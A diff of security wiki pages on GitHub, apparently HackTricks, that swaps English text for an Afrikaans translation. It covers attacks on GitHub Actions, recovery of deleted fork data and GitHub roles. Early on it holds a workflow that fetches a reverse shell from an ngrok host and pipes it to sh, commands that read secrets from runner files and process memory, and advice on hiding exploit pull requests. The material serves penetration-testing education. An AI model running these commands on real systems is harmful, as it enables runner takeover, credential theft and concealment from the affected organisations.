pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- For a JavaScript actions the secrets and sent through environment variables
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
|
||||
- As die geheim **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell-skrip **op-disk** gestoor en is dit toeganklik.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Vir 'n JavaScript aksies word die geheime deur omgewing veranderlikes gestuur.
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Vir 'n **aangepaste aksie** kan die risiko verskil, afhangende van hoe 'n program die geheim wat dit van die **argument** verkry het, gebruik:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### Misbruik van Self-gehoste lopers
|
||||
|
||||
The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml.
|
||||
Die manier om te vind watter **Github Actions in nie-github infrastruktuur** uitgevoer word, is om te soek na **`runs-on: self-hosted`** in die Github Action konfigurasie yaml.
|
||||
|
||||
**Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one.
|
||||
|
||||
In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
**Self-gehoste** lopers mag toegang hê tot **ekstra sensitiewe inligting**, na ander **netwerkstelsels** (kwetsbare eindpunte in die netwerk? metadata diens?) of, selfs al is dit geïsoleer en vernietig, kan **meer as een aksie gelyktydig uitgevoer word** en die kwaadwillige een kan die **geheime** van die ander steel.
|
||||
|
||||
In self-gehoste lopers is dit ook moontlik om die **geheime van die \_Runner.Listener**\_\*\* proses\*\* te verkry wat al die geheime van die werksvloei op enige stap sal bevat deur sy geheue te dump:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Kontroleer [**hierdie pos vir meer inligting**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
### Github Docker Beeld Registrasie
|
||||
|
||||
### Github Docker Images Registry
|
||||
|
||||
It's possible to make Github actions that will **build and store a Docker image inside Github**.\
|
||||
An example can be find in the following expandable:
|
||||
Dit is moontlik om Github aksies te maak wat **'n Docker beeld binne Github bou en stoor**.\
|
||||
'n Voorbeeld kan gevind word in die volgende uitbreidbare:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
|
||||
<summary>Github Aksie Bou & Stoot Docker Beeld</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v1
|
||||
uses: docker/setup-buildx-action@v1
|
||||
|
||||
- name: Login to GitHub Container Registry
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
uses: docker/login-action@v1
|
||||
with:
|
||||
registry: ghcr.io
|
||||
username: ${{ github.repository_owner }}
|
||||
password: ${{ secrets.ACTIONS_TOKEN }}
|
||||
|
||||
- name: Add Github Token to Dockerfile to be able to download code
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
run: |
|
||||
sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile
|
||||
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
uses: docker/build-push-action@v2
|
||||
with:
|
||||
context: .
|
||||
push: true
|
||||
tags: |
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest
|
||||
ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}
|
||||
|
||||
[...]
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**.
|
||||
|
||||
A user with read permissions over the repo will then be able to download the Docker Image using a personal access token:
|
||||
Soos jy in die vorige kode kon sien, is die Github registrasie gehos in **`ghcr.io`**.
|
||||
|
||||
'n Gebruiker met leesregte oor die repo sal dan in staat wees om die Docker Image af te laai met 'n persoonlike toegangsteken:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
|
||||
{{#endref}}
|
||||
|
||||
### Sensitive info in Github Actions logs
|
||||
### Sensitiewe inligting in Github Actions logs
|
||||
|
||||
Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Selfs al probeer **Github** om **geheime waardes** in die aksies logs te **detecteer** en **te vermy om** hulle te wys, sal **ander sensitiewe data** wat in die uitvoering van die aksie gegenereer kon gewees het, nie versteek wees nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie versteek wees nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
|
||||
|
||||
## Covering your Tracks
|
||||
## Bedek jou Spore
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(Techniek van [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word, is duidelik sigbaar vir die publiek in Github en vir die teiken GitHub rekening. In GitHub kan ons **nie 'n PR van die internet verwyder** nie, maar daar is 'n draai. Vir GitHub rekeninge wat **gesuspend** is deur Github, word al hul **PRs outomaties verwyder** en van die internet verwyder. So om jou aktiwiteit te verberg, moet jy jou **GitHub rekening gesuspend kry of jou rekening geflag** kry. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou eksploit PR verwyder)
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
'n Organisasie in GitHub is baie proaktief in die verslagdoening van rekeninge aan GitHub. Al wat jy moet doen is om “n paar goed” in 'n Issue te deel en hulle sal seker maak jou rekening word binne 12 uur gesuspend :p en daar het jy, jou eksploit onsigbaar gemaak op github.
|
||||
|
||||
> [!WARNING]
|
||||
> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
|
||||
> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM te kontroleer, aangesien die PR van die GitHub UI verwyder sal word.
|
||||
|
||||
## Tools
|
||||
## Gereedskap
|
||||
|
||||
The following tools are useful to find Github Action workflows and even find vulnerable ones:
|
||||
Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare te vind:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
@@ -579,7 +551,3 @@ The following tools are useful to find Github Action workflows and even find vul
|
||||
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Gh Actions - Artifact Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# Gh Actions - Artefakbesmetting
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# Gh Actions - Context Script Injections
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,60 +1,56 @@
|
||||
# Accessible Deleted Data in Github
|
||||
# Toeganklike Verwyderde Gegewens in Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Hierdie maniere om toegang te verkry tot data van Github wat veronderstel is om verwyder te wees, is [**in hierdie blogpos gerapporteer**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Accessing Deleted Fork Data
|
||||
## Toegang tot Verwyderde Fork Gegewens
|
||||
|
||||
1. You fork a public repository
|
||||
2. You commit code to your fork
|
||||
3. You delete your fork
|
||||
1. Jy fork 'n openbare repository
|
||||
2. Jy commit kode na jou fork
|
||||
3. Jy verwyder jou fork
|
||||
|
||||
> [!CAUTION]
|
||||
> The data commited in the deleted fork is still accessible.
|
||||
> Die data wat in die verwyderde fork gecommit is, is steeds toeganklik.
|
||||
|
||||
## Accessing Deleted Repo Data
|
||||
## Toegang tot Verwyderde Repo Gegewens
|
||||
|
||||
1. You have a public repo on GitHub.
|
||||
2. A user forks your repo.
|
||||
3. You commit data after they fork it (and they never sync their fork with your updates).
|
||||
4. You delete the entire repo.
|
||||
1. Jy het 'n openbare repo op GitHub.
|
||||
2. 'n Gebruiker fork jou repo.
|
||||
3. Jy commit data nadat hulle dit gefork het (en hulle sink nooit hul fork met jou opdaterings nie).
|
||||
4. Jy verwyder die hele repo.
|
||||
|
||||
> [!CAUTION]
|
||||
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
|
||||
> Selfs al het jy jou repo verwyder, is al die veranderinge wat aan dit gemaak is steeds toeganklik deur die forks.
|
||||
|
||||
## Accessing Private Repo Data
|
||||
## Toegang tot Privaat Repo Gegewens
|
||||
|
||||
1. You create a private repo that will eventually be made public.
|
||||
2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public.
|
||||
3. You make your “upstream” repository public and keep your fork private.
|
||||
1. Jy skep 'n privaat repo wat uiteindelik openbaar gemaak sal word.
|
||||
2. Jy skep 'n privaat, interne weergawe van daardie repo (deur te fork) en commit addisionele kode vir funksies wat jy nie openbaar gaan maak nie.
|
||||
3. Jy maak jou “upstream” repository openbaar en hou jou fork privaat.
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
|
||||
> Dit is moontlik om al die data wat na die interne fork gepush is, te bekom in die tyd tussen die interne fork geskep is en die openbare weergawe openbaar gemaak is.
|
||||
|
||||
## How to discover commits from deleted/hidden forks
|
||||
## Hoe om commits van verwyderde/verborgene forks te ontdek
|
||||
|
||||
The same blog post propose 2 options:
|
||||
Die dieselfde blogpos stel 2 opsies voor:
|
||||
|
||||
### Directly accessing the commit
|
||||
### Direk toegang tot die commit
|
||||
|
||||
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
As die commit ID (sha-1) waarde bekend is, is dit moontlik om dit te bekom in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
|
||||
|
||||
### Brute-forcing short SHA-1 values
|
||||
### Brute-forcing kort SHA-1 waardes
|
||||
|
||||
It's the same to access both of these:
|
||||
Dit is dieselfde om toegang tot albei van hierdie te verkry:
|
||||
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
|
||||
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
|
||||
|
||||
And the latest one use a short sha-1 that is bruteforceable.
|
||||
En die laaste een gebruik 'n kort sha-1 wat bruteforceable is.
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,202 +1,196 @@
|
||||
# Basic Github Information
|
||||
# Basiese Github Inligting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Structure
|
||||
## Basiese Struktuur
|
||||
|
||||
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
|
||||
Die basiese github omgewingstruktuur van 'n groot **maatskappy** is om 'n **onderneming** te besit wat **verskeie organisasies** besit en elkeen van hulle kan **verskeie repositories** en **verskeie span** bevat. Klein maatskappye mag net **een organisasie en geen ondernemings** besit nie.
|
||||
|
||||
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
|
||||
Vanuit 'n gebruiker se perspektief kan 'n **gebruiker** 'n **lid** van **verskillende ondernemings en organisasies** wees. Binne hulle kan die gebruiker **verskillende onderneming, organisasie en repository rolle** hê.
|
||||
|
||||
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
|
||||
Boonop kan 'n gebruiker **deel wees van verskillende spanne** met verskillende onderneming, organisasie of repository rolle.
|
||||
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
En uiteindelik kan **repositories spesiale beskermingsmeganismes** hê.
|
||||
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
### Onderneming Rolle
|
||||
|
||||
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
|
||||
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
|
||||
- **Ondernemingseienaar**: Mense met hierdie rol kan **administrateurs bestuur, organisasies binne die onderneming bestuur, onderneminginstellings bestuur, beleid afdwing oor organisasies**. Hulle **kan egter nie toegang tot organisasie-instellings of inhoud** verkry tensy hulle 'n organisasie-eienaar gemaak word of direkte toegang tot 'n organisasie-besit repository gegee word nie.
|
||||
- **Ondernemingslede**: Lede van organisasies wat deur jou onderneming besit word, is ook **outomaties lede van die onderneming**.
|
||||
|
||||
### Organization Roles
|
||||
### Organisasie Rolle
|
||||
|
||||
In an organisation users can have different roles:
|
||||
In 'n organisasie kan gebruikers verskillende rolle hê:
|
||||
|
||||
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
|
||||
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
|
||||
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
|
||||
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
|
||||
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
|
||||
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
|
||||
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
|
||||
- **Organisasie-eienaars**: Organisasie-eienaars het **volledige administratiewe toegang tot jou organisasie**. Hierdie rol moet beperk word, maar nie tot minder as twee mense in jou organisasie nie.
|
||||
- **Organisasie lede**: Die **standaard**, nie-administratiewe rol vir **mense in 'n organisasie** is die organisasielid. Standaard het organisasielede **'n aantal toestemmings**.
|
||||
- **Faktuurbestuurders**: Faktuurbestuurders is gebruikers wat **die faktuurinstellings vir jou organisasie kan bestuur**, soos betalingsinligting.
|
||||
- **Sekuriteitsbestuurders**: Dit is 'n rol wat organisasie-eienaars aan enige span in 'n organisasie kan toewys. Wanneer toegepas, gee dit elke lid van die span toestemming om **sekuriteitswaarskuwings en instellings oor jou organisasie te bestuur, sowel as leestoestemmings vir alle repositories** in die organisasie.
|
||||
- As jou organisasie 'n sekuriteitspan het, kan jy die sekuriteitsbestuurderrol gebruik om lede van die span die minste toegang te gee wat hulle nodig het tot die organisasie.
|
||||
- **Github App bestuurders**: Om addisionele gebruikers toe te laat om **GitHub Apps wat deur 'n organisasie besit word te bestuur**, kan 'n eienaar hulle GitHub App bestuurder toestemmings gee.
|
||||
- **Buite samewerkers**: 'n Buite samewerker is 'n persoon wat **toegang het tot een of meer organisasie repositories maar nie eksplisiet 'n lid** van die organisasie is nie.
|
||||
|
||||
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Jy kan **die toestemmings** van hierdie rolle in hierdie tabel vergelyk: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
### Lede Privileges
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ kan jy die **toestemmings wat gebruikers sal hê net omdat hulle deel van die organisasie is** sien.
|
||||
|
||||
The settings here configured will indicate the following permissions of members of the organisation:
|
||||
Die instellings hier geconfigureer sal die volgende toestemmings van lede van die organisasie aandui:
|
||||
|
||||
- Be admin, writer, reader or no permission over all the organisation repos.
|
||||
- If members can create private, internal or public repositories.
|
||||
- If forking of repositories is possible
|
||||
- If it's possible to invite outside collaborators
|
||||
- If public or private sites can be published
|
||||
- The permissions admins has over the repositories
|
||||
- If members can create new teams
|
||||
- Wees admin, skrywer, leser of geen toestemming oor al die organisasie repos.
|
||||
- Of lede privaat, interne of openbare repositories kan skep.
|
||||
- Of fork van repositories moontlik is.
|
||||
- Of dit moontlik is om buite samewerkers uit te nooi.
|
||||
- Of openbare of private webwerwe gepubliseer kan word.
|
||||
- Die toestemmings wat administrateurs oor die repositories het.
|
||||
- Of lede nuwe spanne kan skep.
|
||||
|
||||
### Repository Roles
|
||||
### Repository Rolle
|
||||
|
||||
By default repository roles are created:
|
||||
Standaard word repository rolle geskep:
|
||||
|
||||
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
|
||||
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
|
||||
- **Write**: Recommended for contributors who **actively push to your project**
|
||||
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
|
||||
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
|
||||
- **Lees**: Aanbeveel vir **nie-kode bydraers** wat jou projek wil besigtig of bespreek.
|
||||
- **Triage**: Aanbeveel vir **bydraers wat proaktief probleme en pull requests moet bestuur** sonder skryftoegang.
|
||||
- **Skryf**: Aanbeveel vir bydraers wat **aktief na jou projek stoot**.
|
||||
- **Onderhou**: Aanbeveel vir **projekbestuurders wat die repository moet bestuur** sonder toegang tot sensitiewe of vernietigende aksies.
|
||||
- **Admin**: Aanbeveel vir mense wat **volledige toegang tot die projek** benodig, insluitend sensitiewe en vernietigende aksies soos om sekuriteit te bestuur of 'n repository te verwyder.
|
||||
|
||||
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Jy kan **die toestemmings** van elke rol in hierdie tabel vergelyk [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
Jy kan ook **jou eie rolle skep** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
### Spanne
|
||||
|
||||
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
|
||||
Jy kan **die spanne wat in 'n organisasie geskep is lys** in _https://github.com/orgs/\<org_name>/teams_. Let daarop dat jy toegang tot die spanne wat kinders van ander spanne is, moet hê deur elke ouer span te benader.
|
||||
|
||||
### Users
|
||||
### Gebruikers
|
||||
|
||||
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
|
||||
Die gebruikers van 'n organisasie kan **gelys** word in _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
|
||||
In die inligting van elke gebruiker kan jy die **spanne waarvan die gebruiker 'n lid is**, en die **repos waartoe die gebruiker toegang het** sien.
|
||||
|
||||
## Github Authentication
|
||||
## Github Verifikasie
|
||||
|
||||
Github offers different ways to authenticate to your account and perform actions on your behalf.
|
||||
Github bied verskillende maniere om jou rekening te verifieer en aksies namens jou uit te voer.
|
||||
|
||||
### Web Access
|
||||
### Webtoegang
|
||||
|
||||
Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**).
|
||||
Deur **github.com** te benader, kan jy aanmeld met jou **gebruikersnaam en wagwoord** (en 'n **2FA moontlik**).
|
||||
|
||||
### **SSH Keys**
|
||||
### **SSH Sleutels**
|
||||
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Jy kan jou rekening met een of verskeie publieke sleutels konfigureer wat die verwante **private sleutel toelaat om aksies namens jou uit te voer.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
#### **GPG Sleutels**
|
||||
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
Jy **kan nie die gebruiker met hierdie sleutels naboots nie**, maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van verbintenisse sonder 'n handtekening**. Leer meer oor [waaksaamheidsmodus hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
|
||||
### **Personal Access Tokens**
|
||||
### **Persoonlike Toegangstokens**
|
||||
|
||||
You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. Wanneer jy 'n persoonlike toegangstoken skep, moet die **gebruiker** die **toestemmings** spesifiseer wat die **token** sal hê. [https://github.com/settings/tokens](https://github.com/settings/tokens)
|
||||
|
||||
### Oauth Applications
|
||||
### Oauth Toepassings
|
||||
|
||||
Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms.
|
||||
Oauth toepassings mag jou om toestemmings **te vra om 'n deel van jou github inligting te bekom of om jou na te boots** om sekere aksies uit te voer. 'n Algemene voorbeeld van hierdie funksionaliteit is die **aanmeld met github knoppie** wat jy dalk in sommige platforms vind.
|
||||
|
||||
- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers)
|
||||
- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications)
|
||||
- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps)
|
||||
- You can see third party access of applications in an **organization** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_
|
||||
- Jy kan **jou eie** **Oauth toepassings** in [https://github.com/settings/developers](https://github.com/settings/developers) skep.
|
||||
- Jy kan al die **Oauth toepassings wat toegang tot jou rekening het** in [https://github.com/settings/applications](https://github.com/settings/applications) sien.
|
||||
- Jy kan die **skoppe wat Oauth Apps kan vra** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) sien.
|
||||
- Jy kan derdeparty toegang van toepassings in 'n **organisasie** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ sien.
|
||||
|
||||
Some **security recommendations**:
|
||||
Sommige **sekuriteitsaanbevelings**:
|
||||
|
||||
- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes..
|
||||
- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user.
|
||||
- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s.
|
||||
- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it.
|
||||
- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
- 'n **OAuth App** moet altyd **optree as die geverifieerde GitHub gebruiker oor die hele GitHub** (byvoorbeeld, wanneer gebruikerskennisgewings verskaf word) en met toegang slegs tot die gespesifiseerde skoppe.
|
||||
- 'n OAuth App kan as 'n identiteitsverskaffer gebruik word deur 'n "Aanmeld met GitHub" vir die geverifieerde gebruiker in te skakel.
|
||||
- **Moet nie** 'n **OAuth App** bou as jy wil hê jou toepassing moet op 'n **enkele repository** optree nie. Met die `repo` OAuth skop, kan OAuth Apps **optree op \_alle**\_\*\* van die geverifieerde gebruiker se repositories\*\*.
|
||||
- **Moet nie** 'n OAuth App bou om as 'n toepassing vir jou **span of maatskappy** op te tree nie. OAuth Apps verifieer as 'n **enkele gebruiker**, so as een persoon 'n OAuth App vir 'n maatskappy skep om te gebruik, en dan verlaat hulle die maatskappy, sal niemand anders toegang daartoe hê nie.
|
||||
- **Meer** in [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Github Applications
|
||||
### Github Toepassings
|
||||
|
||||
Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to.
|
||||
